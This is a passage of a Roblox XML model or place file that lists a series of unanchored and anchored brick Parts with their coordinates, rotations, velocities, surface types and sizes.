						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">194</int>
						<CoordinateFrame name="CFrame">
							<X>-37.499939</X>
							<Y>12.8982353</Y>
							<Z>-8.50004196</Z>
							<R00>-0.999850035</R00>
							<R01>-0.0173176285</R01>
							<R02>1.07644455e-005</R02>
							<R10>-0.0173176285</R10>
							<R11>0.999850035</R11>
							<R12>-6.75928595e-006</R12>
							<R20>-1.06457765e-005</R20>
							<R21>-6.94468736e-006</R21>
							<R22>-1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">0</float>
						<float name="FrontParamB">0</float>
						<token name="FrontSurface">6</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>-0.000209822378</X>
							<Y>-0.0324765146</Y>
							<Z>-0.207002088</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0.0056894538</X>
							<Y>-0.048771821</Y>
							<Z>-0.0129098464</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX2097">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">194</int>
						<CoordinateFrame name="CFrame">
							<X>-37.3268318</X>
							<Y>2.89975977</Y>
							<Z>-6.50006866</Z>
							<R00>0.999850094</R00>
							<R01>-0.0173129234</R01>
							<R02>-6.24026416e-006</R02>
							<R10>0.0173129234</R10>
							<R11>0.999850094</R11>
							<R12>-1.15253088e-005</R12>
							<R20>6.43886551e-006</R20>
							<R21>1.14155437e-005</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">0</float>
						<float name="FrontParamB">0</float>
						<token name="FrontSurface">6</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0.00311395037</X>
							<Y>0.00895651709</Y>
							<Z>-0.206492946</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">2</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>-2.09308052</X>
							<Y>-0.090614602</Y>
							<Z>-0.02351279</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX2098">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">194</int>
						<CoordinateFrame name="CFrame">
							<X>-37.4133949</X>
							<Y>7.89901018</Y>
							<Z>-6.50001144</Z>
							<R00>0.999850094</R00>
							<R01>-0.0173129234</R01>
							<R02>-6.24026416e-006</R02>
							<R10>0.0173129234</R10>
							<R11>0.999850094</R11>
							<R12>-1.15253088e-005</R12>
							<R20>6.43886551e-006</R20>
							<R21>1.14155437e-005</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0.00311395037</X>
							<Y>0.00895651709</Y>
							<Z>-0.206492946</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">2</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>-1.06077003</X>
							<Y>-0.0727401078</Y>
							<Z>-0.0071700681</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>9</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX2099">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">194</int>
						<CoordinateFrame name="CFrame">
							<X>-42.4999771</X>
							<Y>12.8981953</Y>
							<Z>-6.49993801</Z>
							<R00>0.999849975</R00>
							<R01>-0.0173197147</R01>
							<R02>6.61163767e-006</R02>
							<R10>0.0173197147</R10>
							<R11>0.999849975</R11>
							<R12>-1.75343921e-005</R12>
							<R20>-6.30695558e-006</R20>
							<R21>1.76462727e-005</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">0</float>
						<float name="FrontParamB">0</float>
						<token name="FrontSurface">6</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0.00732666813</X>
							<Y>0.00753558893</Y>
							<Z>-0.203517452</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>-0.0501171537</X>
							<Y>-0.0491749384</Y>
							<Z>0.0373624079</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX2100">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">194</int>
						<CoordinateFrame name="CFrame">
							<X>-37.499958</X>
							<Y>12.8982611</Y>
							<Z>-6.49995422</Z>
							<R00>0.999850094</R00>
							<R01>-0.0173129234</R01>
							<R02>-6.24026416e-006</R02>
							<R10>0.0173129234</R10>
							<R11>0.999850094</R11>
							<R12>-1.15253088e-005</R12>
							<R20>6.43886551e-006</R20>
							<R21>1.14155437e-005</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">0</float>
						<float name="FrontParamB">0</float>
						<token name="FrontSurface">6</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0.00311395037</X>
							<Y>0.00895651709</Y>
							<Z>-0.206492946</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>-0.02845948</X>
							<Y>-0.0548656136</Y>
							<Z>0.00917265471</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX2101">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">194</int>
						<CoordinateFrame name="CFrame">
							<X>-40</X>
							<Y>13.9000006</Y>
							<Z>-7.5</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>6</X>
							<Y>3</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX2102">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">194</int>
						<CoordinateFrame name="CFrame">
							<X>-37.3267593</X>
							<Y>2.89973497</Y>
							<Z>-8.4999733</Z>
							<R00>-0.999850035</R00>
							<R01>-0.0173176285</R01>
							<R02>1.07644455e-005</R02>
							<R10>-0.0173176285</R10>
							<R11>0.999850035</R11>
							<R12>-6.75928595e-006</R12>
							<R20>-1.06457765e-005</R20>
							<R21>-6.94468736e-006</R21>
							<R22>-1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">0</float>
						<float name="FrontParamB">0</float>
						<token name="FrontSurface">6</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>-0.000209822378</X>
							<Y>-0.0324765146</Y>
							<Z>-0.207002088</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">2</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>-2.06402326</X>
							<Y>-0.0846203491</Y>
							<Z>-0.00518766604</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX2103">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">194</int>
						<CoordinateFrame name="CFrame">
							<X>-37.4133492</X>
							<Y>7.89898491</Y>
							<Z>-8.50000763</Z>
							<R00>0.999850035</R00>
							<R01>-0.0173176285</R01>
							<R02>-1.07644455e-005</R02>
							<R10>0.0173176285</R10>
							<R11>0.999850035</R11>
							<R12>6.75928595e-006</R12>
							<R20>1.06457765e-005</R20>
							<R21>-6.94468736e-006</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>-0.000209822378</X>
							<Y>-0.0324765146</Y>
							<Z>-0.207002088</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">2</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>-1.02916694</X>
							<Y>-0.066696085</Y>
							<Z>-0.00904875621</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>9</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX2104">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">194</int>
						<CoordinateFrame name="CFrame">
							<X>-42.4133835</X>
							<Y>7.89910412</Y>
							<Z>-8.50003719</Z>
							<R00>0.999850035</R00>
							<R01>-0.0173171069</R01>
							<R02>3.47936948e-005</R02>
							<R10>0.0173171069</R10>
							<R11>0.999850035</R11>
							<R12>5.40575456e-006</R12>
							<R20>-3.48820904e-005</R20>
							<R21>-4.80241761e-006</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>-0.00535600213</X>
							<Y>0.0340620205</Y>
							<Z>-0.204541653</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">2</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>-1.11283743</X>
							<Y>-0.0519543476</Y>
							<Z>0.000849088887</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>9</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX2105">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">194</int>
						<CoordinateFrame name="CFrame">
							<X>-42.4999695</X>
							<Y>12.8983545</Y>
							<Z>-8.50006104</Z>
							<R00>-0.999850035</R00>
							<R01>-0.0173171069</R01>
							<R02>-3.47936948e-005</R02>
							<R10>-0.0173171069</R10>
							<R11>0.999850035</R11>
							<R12>-5.40575456e-006</R12>
							<R20>3.48820904e-005</R20>
							<R21>-4.80241761e-006</R21>
							<R22>-1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">0</float>
						<float name="FrontParamB">0</float>
						<token name="FrontSurface">6</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>-0.00535600213</X>
							<Y>0.0340620205</Y>
							<Z>-0.204541653</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>-0.0902833417</X>
							<Y>-0.0342440307</Y>
							<Z>-0.0229776129</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX2106">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">194</int>
						<CoordinateFrame name="CFrame">
							<X>-39.8267822</X>
							<Y>1.89921725</Y>
							<Z>-7.50003052</Z>
							<R00>1</R00>
							<R01>-4.40598933e-006</R01>
							<R02>-7.14270618e-006</R02>
							<R10>4.40603662e-006</R10>
							<R11>1</R11>
							<R12>6.65908283e-006</R12>
							<R20>7.14267708e-006</R20>
							<R21>-6.65911466e-006</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0.00350484694</X>
							<Y>-0.000260103785</Y>
							<Z>-0.0129535981</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>-2.09136152</X>
							<Y>-0.0222923979</Y>
							<Z>0.0104745133</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>6</X>
							<Y>3</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX2107">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">194</int>
						<CoordinateFrame name="CFrame">
							<X>-42.3267822</X>
							<Y>2.89969587</Y>
							<Z>-6.50011444</Z>
							<R00>0.999849975</R00>
							<R01>-0.0173197147</R01>
							<R02>6.61163767e-006</R02>
							<R10>0.0173197147</R10>
							<R11>0.999849975</R11>
							<R12>-1.75343921e-005</R12>
							<R20>-6.30695558e-006</R20>
							<R21>1.76462727e-005</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">0</float>
						<float name="FrontParamB">0</float>
						<token name="FrontSurface">6</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0.00732666813</X>
							<Y>0.00753558893</Y>
							<Z>-0.203517452</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">2</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>-2.08498764</X>
							<Y>-0.0844218284</Y>
							<Z>-0.0371984057</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX2108">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">194</int>
						<CoordinateFrame name="CFrame">
							<X>-42.4133797</X>
							<Y>7.89894581</Y>
							<Z>-6.50002623</Z>
							<R00>0.999849975</R00>
							<R01>-0.0173197147</R01>
							<R02>6.61163767e-006</R02>
							<R10>0.0173197147</R10>
							<R11>0.999849975</R11>
							<R12>-1.75343921e-005</R12>
							<R20>-6.30695558e-006</R20>
							<R21>1.76462727e-005</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0.00732666813</X>
							<Y>0.00753558893</Y>
							<Z>-0.203517452</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">2</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>-1.06755233</X>
							<Y>-0.0667983815</Y>
							<Z>8.20021814e-005</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>9</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX2109">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">194</int>
						<CoordinateFrame name="CFrame">
							<X>-42.3267975</X>
							<Y>2.89985394</Y>
							<Z>-8.50001335</Z>
							<R00>-0.999850035</R00>
							<R01>-0.0173171069</R01>
							<R02>-3.47936948e-005</R02>
							<R10>-0.0173171069</R10>
							<R11>0.999850035</R11>
							<R12>-5.40575456e-006</R12>
							<R20>3.48820904e-005</R20>
							<R21>-4.80241761e-006</R21>
							<R22>-1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">0</float>
